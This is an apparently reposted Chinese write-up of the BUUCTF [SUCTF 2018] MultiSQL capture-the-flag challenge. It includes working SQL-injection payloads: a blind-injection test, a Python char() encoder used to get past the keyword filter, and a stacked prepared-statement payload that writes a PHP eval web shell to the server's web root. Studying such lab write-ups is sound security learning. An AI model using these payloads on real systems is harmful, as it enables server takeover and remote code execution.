BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

admin 2022年3月28日18:35:46评论201 views字数 1552阅读5分10秒阅读模式

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

两个地方存在漏洞,注册存在二次注入,在登录的时候触发。用户信息?id存在盲注,flag不在数据库当中,需要利用注入getshell

二次注入我没有成功getshell,先看?id,注册一个用户,登入查看信息

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

?id=2^(if(ascii(mid(user(),1,1))>0,0,1))判断存在注入,2异或0还是为2

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

fuzz测试后发现过滤了union,select ,&,|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

使用脚本编程十进制:

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"len_str=len(str)for i in range(0,len_str):  if i == 0:    print('char(%s'%ord(str[i]),end="")  else:    print(',%s'%ord(str[i]),end="")print(')')

运行结果

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

http://71730bda-76d9-4979-ab53-0d0ba83dffdc.node3.buuoj.cn/favicon/shell.php查看shell

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

原文来自CSDN博主「末 初」|侵删


BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解。想加入我们就给我们留言吧BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

原文始发于微信公众号(寰宇卫士):BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月28日18:35:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BUUCTF:[SUCTF 2018]MultiSQL解题步骤详解https://cn-sec.com/archives/845416.html

发表评论

匿名网友 填写信息